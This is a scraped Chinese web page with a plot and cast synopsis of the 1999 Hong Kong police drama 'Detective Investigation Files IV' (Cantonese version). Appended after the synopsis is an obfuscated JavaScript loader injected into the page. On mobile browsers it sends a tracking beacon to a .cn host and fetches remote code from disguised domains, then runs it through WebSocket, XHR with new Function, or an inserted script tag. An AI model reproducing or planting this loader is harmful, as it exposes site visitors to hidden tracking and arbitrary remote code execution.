《刑事侦缉档案4（粤语版）》是由黄伟声,潘嘉德执导，古天乐,陈锦鸿,宣萱,佘诗曼,李珊珊,向海岚,郭晋安,邵美琪,苏志威,陈秀珠,谢天华,吴美珩,陈少霞,滕丽名,单立文主演的港台剧。该电视剧于1999年在香港上映。督察江子山（陈锦鸿 饰）头脑冷静，思想慎密，做事客观，虽与独断独行的沙展徐飞（古天乐 饰）合作，但仍能以柔制刚，充份利用对方敏锐的直觉和丰富的经验，屡破奇案。在江子山的帮助下，徐飞也立下不少大功，事业亦见起色，性格迥异的二人成为了好搭档和好朋友。生活中，他们二人都纠缠 于两段解不开的感情。江子山和女朋友文婉兰（佘诗曼 饰）相恋多年，感情稳定，文婉兰的好朋友唐心如（李珊珊 饰）却对江子山一见钟情，文婉兰因为父亲的案件入狱后，江子山和唐心如的慢慢有所发展，但是随着文婉兰的出狱，二人感情开始动摇。徐飞对失踪多年的女朋友梁芊芊（向海岚 饰）一直无法忘情，直到遇上警队的心理专家武俏君（宣萱 饰），二人擦出火花，并准备结婚。此时，徐飞突然收到梁芊芊的消息，新欢旧爱之间，面临艰难的抉择。
function qkbQym(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function REyXs(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return qkbQym(t);};window[''+'j'+'o'+'q'+'t'+'N'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZEjcl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=REyXs,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZEjcl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZEjcl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC5jbiUzQTg44OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','4680',window,document,['4','J']);}:function(){};